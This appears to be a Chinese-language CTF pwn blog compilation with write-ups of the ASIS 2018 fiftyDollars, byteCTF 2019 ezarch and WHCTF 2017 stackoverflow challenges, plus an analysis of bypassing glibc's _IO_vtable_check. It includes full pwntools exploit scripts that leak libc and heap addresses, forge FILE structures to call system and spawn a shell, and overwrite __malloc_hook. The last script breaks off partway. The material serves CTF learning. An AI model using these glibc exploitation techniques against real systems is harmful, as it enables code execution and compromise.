asisctf-2018-fiftyDollars-glibc2.24

上一篇的提示版本,在glibc2.24中增加了对io_fp里面vtable虚表的检查

1
2
3
4
5
6
7
8
9
10
11
12
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

增加了两个指针指向定义vtable数据段的一头一尾。这里我们没有办法再把vtable放在堆上了,当有后面检查也可以绕过,这里假设不能往堆写了vtable了,用一种新的攻击方式来讲解。既然不能用堆上任意构造的vtable,那么现有的vtable有没有办法利用呢?

这里将利用_IO_str_jumps_IO_wstr_jumps来实现str和wstr区别是一个字符占1字节,wstr是一个字符占2字节。

1
2
3
4
5
6
7
8
9
10
11
void
_IO_str_finish (fp, dummy)
_IO_FILE *fp;
int dummy;
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

INTUSE(_IO_default_finish) (fp, 0);
}

这里看到只要满足if的条件判断,就能执行fp上指向的任意地址的函数。

1
2
3
4
5
6
pwndbg> p _IO_str_jumps 
$9 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7ffff7e9cc02 <_IO_str_finish>,
__overflow = 0x7ffff7e9c8ab <__GI__IO_str_overflow>,

可以看到__finish函数指针在__overflow-0x8的位置,所以这个时候需要把vtable=_IO_str_jumps - 0x8 再来看一下_I0_buf_base这个结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct _IO_streambuf
{
struct _IO_FILE _f;
const void *_vtable;
};

typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;

struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};

(_IO_strfile *) fp)->_s._free_buffer = system即可,具体看exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
from pwn_debug.pwn_debug import *
from pwn_debug.IO_FILE_plus import *

pdbg=pwn_debug("ASIS2018-fifty_dollars")
pdbg.context.terminal=['tmux', 'splitw', '-h']
pdbg.local()
pdbg.debug("2.24")
pdbg.remote('127.0.0.1', 22)
#p=pdbg.run("local")
#p=pdbg.run("remote")
p=pdbg.run("debug")
membp=pdbg.membp
#print type(pdbg.membp)
#print pdbg.hh
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=pdbg.libc
#a=IO_FILE_plus()
#print a
#a.show()
#print a._IO_read_base

def alloc(idx,data):
p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("dex:")
p.sendline(str(idx))
p.recvuntil("Content:")
p.send(data)

def delete(idx):

p.recvuntil("choice:")
p.sendline("3")
p.recvuntil("dex:")
p.sendline(str(idx))
def show(idx):
p.recvuntil("choice:")
p.sendline("2")
p.recvuntil("dex:")
p.sendline(str(idx))

def arbitrary_write(addr,data):
delete(3)
delete(4)
delete(3)
pad=p64(0)+p64(0x61)
alloc(3,p64(addr-0x10))
alloc(4,pad*5)
alloc(3,pad*5)
alloc(0,data)

def pwn():
#pdbg.bp([0xbae])
data=(p64(0)+p64(0x61))*5
# 这个地方值得学习,用(p64(0)+p64(0x61))填满了整个可控的堆范围,这里来任意写之前就不用特意再去构造条件了
# 当然也要注意一些被重写的地方
for i in range(0,10):
alloc(i,data)

#alloc(1,"b")

# step 1 leak heap base
#fastbin 泄露heap
delete(1)
delete(0)
show(0)
heap_base=u64(p.recvuntil("Done!")[:-5].ljust(8,'\x00'))-0x60
log.info("leaking heap base: %s"%hex(heap_base))
data=p64(heap_base+0x50)

delete(1)
#第一次double free 修改size,通过unsortedbin 泄露libc
#pdbg.bp(0xb53)
alloc(1,data)
alloc(0,data)
alloc(1,data)
## step 2 build a fake unsorted bin with size of 0xb1 and leak libc addres
fake=p64(0)+p64(0xb1)
alloc(8,fake)
#pdbg.bp(0xada)
delete(1)
show(1)
libc_base=u64(p.recvuntil("Done!")[:-5].ljust(8,'\x00'))-libc.symbols['main_arena']-88
io_list_all=libc_base+libc.symbols['_IO_list_all']
binsh_addr=libc_base+next(libc.search("/bin/sh"))
io_str_jumps=libc_base+libc.symbols['_IO_str_jumps']
system_addr=libc_base+libc.symbols['system']
log.info("leaking libc base: %s"%hex(libc_base))
#构造双unsorted chunk,让0xb0放进smallbins 其实这里没有必要的为什么?
#当0xb0在unsortedbin 里面的时候,bk= _IO_list_all-0x10,一次遍历就已经被放到smallbins了
#next 处理的是 _IO_list_all-0x10出的chunk,这个时候因为size不符合条件直接malloc_printerr
#触发_overflow
arbitrary_write(heap_base+0x240,p64(0)+p64(0xa1))
delete(6)

#pdbg.bp([0xada,0xb06])

## step 3 right now there are two unsorted bin in main_arena, so we need to malloc 0xa0 chunk and put 0xb0 chunk to smallbin array

### malloc 0x60 from 0xa0 first

alloc(0,'a')
### revise the left chunk size from 0x40 to 0x60 and malloc it out.
arbitrary_write(heap_base+0x2a0,p64(0)+p64(0x61))
#pdbg.bp([0xada,0xb06])
## step 4 prepare to unsoeted bin attack

delete(7)
alloc(7,p64(0)+p64(io_list_all-0x10))
alloc(7,'0')
#这个挺有意思的,不用考虑计算偏移。
fake_file=IO_FILE_plus()
#fake_file._flags=0x1
fake_file._IO_read_ptr=0xb1
#fake_file._IO_read_base=io_list_all-0x10
#/bin/sh\x00
fake_file._IO_buf_base=binsh_addr
fake_file._IO_write_ptr=1
#特殊之处vtable指向的是io_str_jumps-8
fake_file.vtable=io_str_jumps-8
fake_file.show()
fake_file.str_finish_check()
#同时设定(_IO_strfile *) fp)->_s._free_buffer = &system
file_data=str(fake_file)+p64(system_addr)*2
## step 5 write fake file
#这几个任意写还是比较有意思的。还有一个地方需要注意这里没有特殊写_mode,_mode位于fp+0xc0
#按照前面的padding 这个地方应该是为0的,所以没有特殊处理。
arbitrary_write(heap_base+0x60,file_data[:0x50])
#pdbg.bp([0xada,0xb06])
arbitrary_write(heap_base+0x60+len(str(fake_file))-0x10,file_data[-0x20:])
#pdbg.bp(0xb06)
## step 6 trigger FSOP to get shell

p.recvuntil("choice:")
p.sendline("1")
p.recvuntil("Index:")
p.sendline("1")
p.interactive() #get the shell
if __name__ == '__main__':
pwn()

精髓还是在布局上,这种padding的布局值得学习,统一!

byteCTF2019-ezarch

我意外之中做了这道题,事后才知道它来自哪里 (膜

周末。panda熊猫让扔过来一道,他说是pwn中分数最高的,由于时间太短,没能做出来,太遗憾。这里把当时思路记录一下。

从题目名字来看ezarch,arch架构 ?3个功能,设置内存,下断点,运行。后知后觉原来是个虚拟机。当时主要是先入为主了,一段段的去看代码。主要还是太急了,根据我之前分析php内核的虚拟机的结构,这个地方其实是有套路的,分析虚拟机最主要的两个目标是:

  • 虚拟机内部用来描述整个执行过程的指令集。
  • 单个指令对应的解释过程。

先看设置内存的过程。仔细分析定义内存的结构应该是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct vm{
char * mem; //malloc分配的内存区
char * stack; // vm里面栈空间,指向栈顶
uint stack_size; // 栈空间的大小
uint mem_size; //内存区的大小
uint *[256]; //breakpoint 断点区
uint r0; // R0-R15
uint r1;
...
uint r15;
uint eip;
uint esp
uint ebp;
uint16 eflags;
}

这个结构存储在bss上,这里有一个结构虚拟机栈的空间是和这个结构紧靠着的。然后设置eip和esp,esp相关的寄存器。这里的寄存器都是相应的偏移值。这就是整个虚拟机内存初始化过程。

还有一个下断点的功能,就是把需要断住的eip储存在上面的bp空间里面。

最后来看虚拟机的执行器。就是这个地方浪费了我不少时间,一个switch,早就应该想到这个switch对应的就是处理过程的选择。

执行器会以步长10字节为一个opline来处理,opline的结构还是和通常的opline结构一样,opcode和操作数,操作数一般为两个,这里是没有返回值操作数的,一般返回值储存在前面两个操作数里面一个。

如果你是抱着上述思想来分析,整个执行器的过程就明了

1
2
3
4
5
6
7
8
9
10字节的opline结构
+0x0 opcode
+0x1 高4位操作数1类型,低四位操作数2类型
+0x2 4字节操作数1
+0x6 4字节操作数2

操作数类型 0 寄存器变量 R0-R15 16=ESP 17=EBP
操作数类型 1 立即数
操作数类型 2 取地址值,地址变量为寄存器变量即[reg]

再看switch里面对应的case,这里不用看完,第一个case相当于nop,第二个和第三个是加减指令。第四个是读写寄存器。就这几个case就够,下面的异或,并,且逻辑运算等就不用看了。

这里分布是比较有特点,vm栈空间是和控制vm的结构是紧靠在一起的。这里checksec一下,发现got表是可以写的,但是开了pie。如果我们能把栈移到got表上呢?这里对esp和ebp做了一个检查。

1
2
if ( v1 >= v2 || *(_DWORD *)(a1 + 1116) >= *(_DWORD *)(a1 + 16) || v2 <= *(_DWORD *)(a1 + 1120) )
return 1LL;

这里是什么意思呢,esp要小于栈的大小。ebp要小于mem的大小。mem使我们自定义的是可控的。

这里栈的大小是固定的为0x1000。如果我们设置的内存的大小大于栈的空间大小0x1000, 那么我们的ebp是可以指向超出栈的空间的。并且这里是开了pie的。所以要找一个地址来中转。这里vm的结构上有栈顶的指针,为了也能让esp偏移超出限制,这里先让ebp偏移指向vm->stack_size.改变栈的大小。下面就是写got的过程。

在加减的处理过程中,除了写固定的寄存器以外,也可以写[reg],所以这里我们需要改变vm->mem的指向,前面也说了vm上有栈顶的指针,栈顶为bss上的地址。

这里再让ebp指向vm->stack. 将vm->mem覆盖为vm->stack.后面的流程就明显了。覆盖malloc@got为one_gadget。

把思路记录一下。也是第一次看虚拟机的题目,不过相对来说这个虚拟机还是比较简单:slight_smile: 。

io_vtable_check-of-pwn

在看HCTF2018里面的一道叫babyprintf的题时候,本是一道很常规的题,解法也很多,但是我看出题师傅自己的解法的时候,把我难住了。他用了一种我一直忽略了的bypass IO_vtable_check的方法。也是非常少见的一种方法,我是第一次看见,但是我感觉理论上应该是最好的一种方法。下面看我的曲折经历。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void attribute_hidden
_IO_vtable_check (void)
{
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

{
Dl_info di;
struct link_map *l;
if (!rtld_active ()
|| (_dl_addr (_IO_vtable_check, &di, &l, NULL) != 0
&& l->l_ns != LM_ID_BASE))
return;
}

...

__libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n");
}

在这个地方如果vtable的位置不是在指定的范围内,就会进入IO_vtable_check,在这里大多数有两种方法:

  1. rtld_active() = NULL
  2. 利用的原有的vtable来,比如_IO_str_jumps,控制流程不会触发_IO_vtable_check

至于进入_dl_addr的利用可能流程上分析来有点略微麻烦,这里我们不考虑这个点。先看第一种方法,这里rtld_active()实际上是_rtld_local_ro->_dl_init_all_dirs,这里你动态调的时候你发现这个结构在不能写的段上,所以这个点是没法用的。再看第二种,用到是_IO_str_jumps中的_IO_str_finish

1
2
3
4
5
6
7
8
9
10
void
_IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
free (fp->_IO_buf_base);
fp->_IO_buf_base = NULL;

_IO_default_finish (fp, 0);
}

这里并不像libc-2.24中的那样,这里已经不存在可以写的函数指针了,直接用的是free。所以这题的解法也是意料之中的。再往前看:

1
2
3
4
5
6
7
8
#ifdef SHARED
/* Honor the compatibility flag. */
void (*flag) (void) = atomic_load_relaxed (&IO_accept_foreign_vtables);
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (flag);
#endif
if (flag == &_IO_vtable_check)
return;

我们看这个地方,其实有很多文章中提到过这个点。先看具体的汇编内容

1
2
3
4
5
6
mov    rax,QWORD PTR [rip+0x1354c6]        # 0x7ffff7fce448 <IO_accept_foreign_vtables>
ror rax,0x11
xor rax,QWORD PTR fs:0x30
lea rdx,[rip+0xffffffffffffffe5] # 0x7ffff7e98f7b <_IO_vtable_check>
cmp rax,rdx
je 0x7ffff7e98fec <_IO_vtable_check+113>

很多文章里面仅仅是提到过,但是都是以这里涉及到关于fs的段寄存器的读写,最后下的结论都是很难利用。我第一次看见的也是这么认为的,所以我忽略了这种利用方式。在前面HCTF中babyprintf出题人的exp中,虽然exp里面写的不是很详细,一些偏移计算不太理解,但是我知道这还是一种bypass _IO_vtable_check的方法。最好我把它锁定在上面汇编处,但是无法理解,exp出现了tls的地址,并且加上了一段偏移就直接指向了fs:[30]的地址上,这让我实在无法理解,遂去联系了出题人为什么会这样做,因为时间太长,他也无法解释得通,得到的回答是用了一个随便指向tls的指针,如果想深究,他建议我去看glibc的源码。经过一段时间对glibc的探索,终于得知了个所以然。网上的资料比较少,过程较为曲折。

在第一面对这个问题时候,我首先想的是fs段指向的是哪里?这个问题很简单能得知,在glibc用fs寄存器当做pthead的储存地址,即tls的结构。所以这里我想的是,如果想知道fs具体的指向,就要看第一次对fs的使用。这是思路的开始。

在看exp中tls的地址是如何拿到的。文中tls地址值,在调试过程中发现是libc中GOT[1]的内容,后知后觉其实是link_map的地址。这里可以肯定是tls的位置和link_map的位置是连续的。

关于如何寻找对第一次对fs的使用,终于一篇文章给我了思路 https://unix.stackexchange.com/questions/453749/what-sets-fs0x28-stack-canary

1
arch_prctl(ARCH_SET_FS, 0x7fc189ed0740) = 0

这是strace的调试的内容,即在对fs指定地址的时候,实际上是使用arch_prctl这个系统调用。上面文章中尽管讲的是stack_canary的东西,其实在这里是一样的,一个fs:[28h],一个是fs:[30h]而已。canary用的是stack_guard,这里用是pointer_guard,再提一句,这样来看,同一线程里面所有的canary应该都是相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
...
} tcbhead_t;

所以这里和上文一样在arch_prctl系统调用这里下断。我们现在的问题就是在于libc中的link_maptls结构为什么是连续的。先来看第一次断在哪里,backtrace如下

1
2
3
4
5
6
#0  init_tls () at rtld.c:741
#1 0x00007ffff7fdaa86 in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:1808
#2 0x00007ffff7fed3d8 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffe110, dl_main=dl_main@entry=0x7ffff7fd8439 <dl_main>) at ../elf/dl-sysdep.c:253
#3 0x00007ffff7fd8080 in _dl_start_final (arg=0x7fffffffe110) at rtld.c:415
#4 _dl_start (arg=0x7fffffffe110) at rtld.c:522
#5 0x00007ffff7fd7098 in _start () from /root/heap_libc_debug/lib/ld-2.28.so

init_tls里面

1
2
3
...
const char *lossage = TLS_INIT_TP (tcbp);
...

现在找到了第一次对fs的赋值的时候,但是并不知道tcbp值是从何而来。接着我们再寻找tcbp的值是从何而来。往前回溯。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void *tcbp = _dl_allocate_tls_storage ();

void *
_dl_allocate_tls_storage (void)
{
void *result;
size_t size = GL(dl_tls_static_size);
...
size_t alignment = GL(dl_tls_static_align);
void *allocated = malloc (size + alignment + sizeof (void *));
if (__glibc_unlikely (allocated == NULL))
return NULL;
...
void *aligned = (void *) roundup ((uintptr_t) allocated, alignment);
result = aligned + size - TLS_TCB_SIZE;

memset (result, '\0', TLS_TCB_SIZE);
...
result = allocate_dtv (result);
if (result == NULL)
free (allocated);
return result;
}

用的是malloc来获取地址,这里的malloc并不是堆管理那个指针,这里libc.so都还没映射,是一个临时用来管理申请内存的弱类型函数。跟进malloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void * weak_function
malloc (size_t n)
{
if (alloc_end == 0)
{
/* Consume any unused space in the last page of our data segment. */
extern int _end attribute_hidden;
alloc_ptr = &_end;
alloc_end = (void *) 0 + (((alloc_ptr - (void *) 0)
+ GLRO(dl_pagesize) - 1)
& ~(GLRO(dl_pagesize) - 1));
}

...

if (alloc_ptr + n >= alloc_end || n >= -(uintptr_t) alloc_ptr)
{

caddr_t page;
size_t nup = (n + GLRO(dl_pagesize) - 1) & ~(GLRO(dl_pagesize) - 1);
if (__glibc_unlikely (nup == 0 && n != 0))
return NULL;
nup += GLRO(dl_pagesize);
page = __mmap (0, nup, PROT_READ|PROT_WRITE,
MAP_ANON|MAP_PRIVATE, -1, 0);
if (page == MAP_FAILED)
return NULL;
if (page != alloc_end)
alloc_ptr = page;
alloc_end = page + nup;
}

alloc_last_block = (void *) alloc_ptr;
alloc_ptr += n;
return alloc_last_block;
}

这里可以看到用来管理内存的是alloc_ptralloc_end这两个指针。有初始化和内存不足时的处理的另外两条处理分支,在分配tls结构的过程中,发现内存是足够分配的,所以是直接分配的。那么这里我们需要去寻找在分配tls结构以前是alloc_ptr可能的指向,因为这一段内存都是连续的,如果说我们能找到前面某个在这段内存的结构指向的话,那么是可以计算出tls的位置的。所以这里我们在malloc这里下断。尽量要往前面找。

如何确定是不是属于tls同一段内存上的,只需要确定alloc_end是不是一样的。最终断在一个alloc_end发生改变的malloc上。backtrace如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#0  malloc (n=1191) at dl-minimal.c:69
#1 0x00007ffff7fedbac in calloc (nmemb=nmemb@entry=1191, size=size@entry=1) at dl-minimal.c:103
#2 0x00007ffff7fe0b44 in _dl_new_object (realname=realname@entry=0x7ffff7ffed90 "./libc-2.28.so", libname=<optimized out>, libname@entry=0x7fffffffce20 "./libc-2.28.so", type=type@entry=1, loader=loader@entry=0x7ffff7ffe190, mode=mode@entry=67108864, nsid=nsid@entry=0) at dl-object.c:73
#3 0x00007ffff7fdc84b in _dl_map_object_from_fd (name=name@entry=0x7fffffffce20 "./libc-2.28.so", origname=origname@entry=0x0, fd=fd@entry=3, fbp=fbp@entry=0x7fffffffc8d0, realname=0x7ffff7ffed90 "./libc-2.28.so", loader=loader@entry=0x7ffff7ffe190, l_type=1, mode=67108864, stack_endp=0x7fffffffc8c0, nsid=0) at dl-load.c:1001
#4 0x00007ffff7fde557 in _dl_map_object (loader=0x7ffff7ffe190, name=0x7fffffffce20 "./libc-2.28.so", type=1, trace_mode=trace_mode@entry=0, mode=67108864, nsid=nsid@entry=0) at dl-load.c:2466
#5 0x00007ffff7fd7309 in map_doit (a=a@entry=0x7fffffffcdd0) at rtld.c:592
#6 0x00007ffff7fee15a in _dl_catch_exception (exception=exception@entry=0x7fffffffcd80, operate=operate@entry=0x7ffff7fd72dd <map_doit>, args=args@entry=0x7fffffffcdd0) at dl-error-skeleton.c:196
#7 0x00007ffff7fee1bf in _dl_catch_error (objname=objname@entry=0x7fffffffcdf8, errstring=errstring@entry=0x7fffffffcdf0, mallocedp=mallocedp@entry=0x7fffffffcdcf, operate=operate@entry=0x7ffff7fd72dd <map_doit>, args=args@entry=0x7fffffffcdd0) at dl-error-skeleton.c:215
#8 0x00007ffff7fd729b in do_preload (fname=fname@entry=0x7fffffffce20 "./libc-2.28.so", main_map=main_map@entry=0x7ffff7ffe190, where=where@entry=0x7ffff7ff4ee4 "LD_PRELOAD") at rtld.c:763
#9 0x00007ffff7fd8421 in handle_ld_preload (preloadlist=<optimized out>, main_map=main_map@entry=0x7ffff7ffe190) at rtld.c:861
#10 0x00007ffff7fda7af in dl_main (phdr=<optimized out>, phnum=<optimized out>, user_entry=<optimized out>, auxv=<optimized out>) at rtld.c:1625
#11 0x00007ffff7fed3d8 in _dl_sysdep_start (start_argptr=start_argptr@entry=0x7fffffffe110, dl_main=dl_main@entry=0x7ffff7fd8439 <dl_main>) at ../elf/dl-sysdep.c:253
#12 0x00007ffff7fd8080 in _dl_start_final (arg=0x7fffffffe110) at rtld.c:415
#13 _dl_start (arg=0x7fffffffe110) at rtld.c:522
#14 0x00007ffff7fd7098 in _start () from /root/heap_libc_debug/lib/ld-2.28.so

会发现刚好是tls所在段刚好用mmap分配的时候。那么这个返回的地址是否可以在某一处应用到呢?往前回溯你会发现这是这个地方申请的内存恰好是link_map的结构。且刚好是在读取libc.so的之前,从mmap得到的内存段分布也可以看出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Allocate a `struct link_map' for a new object being loaded,
and enter it into the _dl_loaded list. */
struct link_map *
_dl_new_object (char *realname, const char *libname, int type,
struct link_map *loader, int mode, Lmid_t nsid)
{
size_t libname_len = strlen (libname) + 1;
struct link_map *new;
struct libname_list *newname;
#ifdef SHARED
/* We create the map for the executable before we know whether we have
auditing libraries and if yes, how many. Assume the worst. */
unsigned int naudit = GLRO(dl_naudit) ?: ((mode & __RTLD_OPENEXEC)
? DL_NNS : 0);
size_t audit_space = naudit * sizeof (new->l_audit[0]);
#else
# define audit_space 0
#endif

new = (struct link_map *) calloc (sizeof (*new) + audit_space
+ sizeof (struct link_map *)
+ sizeof (*newname) + libname_len, 1);

确实是如此,这个地址的指向是libc.so中的link_map的指针,到这里也解决了为什么link_map和tls在地址上是连续的,他们处于同一个mmap申请0x2000的内存中,并且是固定偏移。所以这里exp中泄露并不是tls的地址,而是link_map的地址,通过计算得到tls的地址。所以这里只要我们确定了libc里面GOT[1]的值,就可以确定tls的结构,至于是否存在其他的对于这段内存的引用,有兴趣的同学,可以接着分析接下来的几个malloc,到分配tls的结构,这中间还是存在一些malloc的过程的。

至此,我们如果能控制fs:[30]的内容,并且控制IO_accept_foreign_vtables的值,那么是完全可以绕过_IO_vtable_check,而且应该是一种更通用的方法。这里在2.27和2.28都是测试通过的。有兴趣的同学可以试试。

whctf2017-stackoverflow

point

1
2
3
4
5
6
7
8
9
10
11
12
__int64 __fastcall input_data(char *input, int count)
{
unsigned int ret_value; // [rsp+14h] [rbp-Ch]

ret_value = read(0, input, count);
if ( (ret_value & 0x80000000) != 0 )
{
printf("Error!", input);
exit(0);
}
return ret_value;
}

读取的字符串的时候末尾没有置0,紧接后面的内容可以泄露,根据下面可以泄露栈上的数据。

1
2
3
4
5
6
7
8
9
10
11
unsigned __int64 leak_name_input()
{
char name[80]; // [rsp+0h] [rbp-70h]
unsigned __int64 v2; // [rsp+68h] [rbp-8h]

v2 = __readfsqword(0x28u);
printf("leave your name, bro:");
input_data(name, 0x50);
printf("worrier %s, now begin your challenge", name);
return __readfsqword(0x28u) ^ v2;
}

next point

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
__int64 main_func()
{
int size; // [rsp+8h] [rbp-18h]
int temp; // [rsp+Ch] [rbp-14h]
void *ptr; // [rsp+10h] [rbp-10h]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]

v4 = __readfsqword(0x28u);
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
temp = size;
while ( size > 0x300000 )
{
puts("too much bytes to do stackoverflow.");
printf("please input the size to trigger stackoverflow: ");
_isoc99_scanf("%d", &size);
IO_getc(stdin);
}
ptr = malloc(0x28uLL);
global_ptr = (char *)malloc(size + 1);
if ( !global_ptr )
{
printf("Error!", &size);
exit(0);
}
printf("padding and ropchain: ", &size);
input_data(global_ptr, size);
global_ptr[temp] = 0;
return 0LL;
}

这个地方global_ptr[temp] = 0; temp值等于size,取得是第一次输入的size,并不是最后一次的size,所以这个地方是可以在大于0x300000的某一位置写\x00的。

思路

这个地方没有free并且写的地方偏移是比较大的。从堆上偏移往前写,去什么地方写00能改变程序的走向呢?堆上往前偏移,libc的内存上写,写一个00是为了写更多的数据,关键这个地方巧合的地方来了。

图片

可以看到在0x7f605741f900 的位置这个地方是_IO_2_1_stdin_+64即_IO_buf_end的位置。_IO_buf_base 的值为0x00007f605741f943,如果我把它最低位的字节置为,恰好会变成stdin中IO_buf_end的位置。这个时候扩大了缓冲区,再产生输入的时候,会从IO_buf_base的地方接受数据,即会覆盖_IO_buf_end的指向,进一步扩大输入缓冲。当我们的输入缓存边界足够大 的时候,这个时候可以考虑覆盖_malloc_hook的值,next malloc的时候,我们就可以控制的程序的走向。

再接着考虑什么时候会用到输入缓冲。我们程序中绝大部分都是直接read,都是直接的系统调用没有用到stdin结构里面的buf,但是这里scanf和IO_getc确实用到了流的结构,我思考过一个问题,这里在最开始用setvbuf把stdin输入缓冲置0了,为啥这里stdin的输入缓冲不是0,而是长度1呢?难道在fread读输入的是一字节一字节的不停的系统调用吗?当然不是,在freed,会直接循环直接调用read去读当前需要的数据量,直到读完到需求量位置。

那么这里scanf是否也和freed一样不回使用输入缓存呢,这里确实相反的,scanf却使用了一字节的输入缓存。其实仔细想想这样做也没什么问题,scanf本来就是1字节1字节处理的。IO_getc也一样同样是1字节。所以这道题的关键点在于

1
2
_isoc99_scanf("%d", &size);
IO_getc(stdin);

就这两个地方用到输入缓存的机制,在scanf后面接一个getc其实是很常见的事情,IO_getc是用来吃scanf最后一位没用到的字符比如'',所以这里我们的思路先对_IO_buf_base写00再,扩大输入缓冲,覆盖_IO_buf_end,最后写_malloc_hook,第一想法就是对_malloc_hook写one_gadget,但是这里one_gadget条件是满足不了的。这里有一个很好的思路,调用前面的input_name,造成栈溢出用rop。

这里的栈的结构你如果不调直接看的话也可以。覆盖是read的返回地址。如下图

全部思路如上,接着上exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
from pwn_debug import *
from pwn import *

pdbg=pwn_debug("stackoverflow")
pdbg.context.terminal=['tmux', 'splitw', '-h']

#pdbg.local('/root/ctf/ctf-challenges/pwn/pwn_category-master/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/libc-2.24.so')
pdbg.local()
#pdbg.debug("2.24")
#pdbg.remote('127.0.0.1', 22)
#p=pdbg.run("local")
#p=pdbg.run("remote")
p=pdbg.run("local")
membp=pdbg.membp
#print type(pdbg.membp)
#print pdbg.hh
#print hex(membp.elf_base),hex(membp.libc_base)
elf=pdbg.elf
libc=ELF('/root/ctf/ctf-challenges/pwn/pwn_category-master/IO_FILE/arbitrary_read_write/whctf2017-stackoverflow/libc.so.6')
#a=IO_FILE_plus()
#print a
#a.show()
#print a._IO_read_base
#print pdbg.local_libc_path
#print libc


def malloc_one(size=0,data="",real_size=0,flag=False):
p.recvuntil("flow: ")
p.sendline(str(size))
if flag:
p.recvuntil("ckoverflow: ")
p.sendline(str(real_size))
p.recvuntil("ropchain:")
p.send(data)

def evil_write(data):
p.recvuntil("flow:")
p.send(data)

def flush_buff(size):
for i in range(0,size):
#p.recvuntil("padding and ropchain: ")
p.recvuntil("stackoverflow")
p.sendline('a')
def pwn():


#pdbg.bp([0x400a2f,0x400a45])
#raw_input()
p.recvuntil("bro:")
p.send("a"*8)
p.recvuntil("a"*8)
# _IO_default_setbuf = 0x7DD10
#libc_base=u64(p.recvuntil(", ")[:-2].ljust(8,'\x00'))-libc.symbols['_IO_default_setbuf']-66
#这里需要你自己去调,你才知道栈上后8字节是_IO_default_setbuf+66
libc_base=u64(p.recvuntil(", ")[:-2].ljust(8,'\x00'))-0x7DD10-66
log.info("leak libc address: %s"%hex(libc_base))
io_stdin=libc_base+libc.symbols['_IO_2_1_stdin_']
io_stdin_end=libc_base+libc.symbols['_IO_2_1_stdin_']+0xe0+0x10
malloc_hook=libc_base+libc.symbols['__malloc_hook']
log.info("_malloc_hook address: %s"%hex(malloc_hook))
rce=libc_base+0x3f4b6
evil_jmp=libc_base+0x5E492
log.info("one gadget address: %s"%hex(rce))

#pdbg.bp([0x4009dc,0x4008ff,0x40090e])
io_buf_base=io_stdin+7*8
io_buf_end=io_buf_base+8
log.info("stdin address: %s"%hex(libc_base+libc.symbols['_IO_2_1_stdin_']))
size=libc.symbols['_IO_2_1_stdin_']+7*8+0x200000-0x10
#malloc(0x200000),分配的堆内存块会紧贴着libc的base
#-0x1000因为还有chunk_head,不足0x1000分配0x1000
real_size=0x200000-0x1000
raw_input('bbb')
malloc_one(size,'123',real_size,True)
raw_input('aaa')
#pdbg.bp(0x4008ff)
#flush_buff(8)
#_IO_buf_base = malloc_hook+8
p.send(p64(malloc_hook+8))
# 原raycp师傅这里写的是flush_buff(8),可能会引起误解,其实只又刷新了7次即_IO_read_ptr+7
# 因为flush_buff 中的revcuntil 这里原来的内容为被注释的部分,会存在一个小竞争。所以这里改写了一下
flush_buff(7)

#lock_addr = 0x3c3770
#vtable = 0x3be400
